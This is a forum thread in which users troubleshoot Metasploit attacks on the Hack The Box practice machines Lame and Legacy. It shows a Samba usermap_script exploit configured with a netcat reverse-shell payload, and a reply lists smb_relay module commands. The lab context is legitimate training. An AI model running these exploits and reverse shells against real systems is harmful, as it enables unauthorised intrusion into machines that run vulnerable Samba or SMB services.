Hack Forums
Not able to gain access to Lame & Legacy HTB - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Not able to gain access to Lame & Legacy HTB (/showthread.php?tid=6096051)



Not able to gain access to Lame & Legacy HTB - Reaper Russian - Jul 18, 2020

Not able to gain access to Lame & Legacy (Hackthebox)

I have tried resetting HTB & tried using manual methods on both of the machines to no avail.

For legacy I tried to use the MS08-068 exploit. Lame I used samba/usermap_script.

Code
msf5 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.157.129  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > run
                                                                          
[*] Started reverse TCP handler on 192.168.157.129:4444                    
[*] Exploit completed, but no session was created.                        
msf5 exploit(multi/samba/usermap_script) >
Thanks


RE: Not able to gain access to Lame & Legacy HTB - frank3nstien - Jul 19, 2020

I can see that you are trying to attack on Internal network, you better check first from your LHOST to RHOST is reachable or not.

Code
Your  LHOST    192.168.157.129 - Internal subnet
Your  RHOSTS  10.10.10.3  - Internal subnet


You should have try this also for MS08-068 :

PHP Code

<?php 
msf 
> use exploit/windows/smb/smb_relay
msf exploit
(smb_relay) > show targets
    
msf exploit
(smb_relay) > set TARGET < target-id >
msf exploit(smb_relay) > show options
    
msf exploit
(smb_relay) > exploit 



RE: Not able to gain access to Lame & Legacy HTB - Reaper Russian - Jul 19, 2020

So it turned out my LHOST wasn't set to my tun0 that fixed the issue. Thanks!


RE: Not able to gain access to Lame & Legacy HTB - oniono - May 18, 2021

im stuck on a box in htb, if anyone can help me out plz message me on telegram @oniono12
thx